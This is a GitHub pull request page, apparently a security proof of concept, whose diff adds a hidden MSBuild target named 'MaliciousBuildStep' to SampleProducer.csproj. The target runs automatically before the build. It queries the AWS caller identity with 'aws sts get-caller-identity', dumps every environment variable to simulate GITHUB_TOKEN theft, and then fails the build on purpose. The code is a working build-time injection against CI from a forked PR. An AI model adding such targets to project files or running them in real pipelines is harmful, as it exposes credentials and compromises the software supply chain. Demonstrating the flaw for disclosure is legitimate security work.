Skip to content

PoC: Inject RCE into SampleProducer.csproj #270

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
SoufElhabti wants to merge 2 commits into from
Closed

PoC: Inject RCE into SampleProducer.csproj #270

Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
0849c52
PoC: Inject RCE into SampleProducer.csproj
Jun 10, 2025
b6734f6
Fix: XML escape PoC commands in SampleProducer.csproj
Jun 10, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions SampleProducer/SampleProducer.csproj
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -20,4 +20,17 @@
</None>
</ItemGroup>

<!-- PoC Start: This target will run before the build -->
<Target Name="MaliciousBuildStep" BeforeTargets="CoreBuild">
<Exec Command="echo '&gt;&gt;&gt; PoC: EXECUTING CODE FROM FORKED PR (in .csproj) &lt;&lt;&lt;'"/>
<Exec Command="echo '&gt;&gt;&gt; PoC: Attempting AWS CLI command to identify role: &lt;&lt;&lt;'"/>
<Exec Command="aws sts get-caller-identity || echo 'PoC: aws command failed or no AWS credentials found.'"/>
<Exec Command="echo '&gt;&gt;&gt; PoC: Listing environment variables (simulating GITHUB_TOKEN theft attempt): &lt;&lt;&lt;'"/>
<Exec Command="env"/>
<Exec Command="echo '&gt;&gt;&gt; PoC: TEST FINISHED, FAILING INTENTIONALLY &lt;&lt;&lt;'"/>
<Exec Command="bash -c 'exit 1'" Condition="$([MSBuild]::IsOsPlatform('Linux')) Or $([MSBuild]::IsOsPlatform('OSX'))" />
<Exec Command="cmd /c exit 1" Condition="$([MSBuild]::IsOsPlatform('Windows'))" />
</Target>
<!-- PoC End -->

</Project>
Loading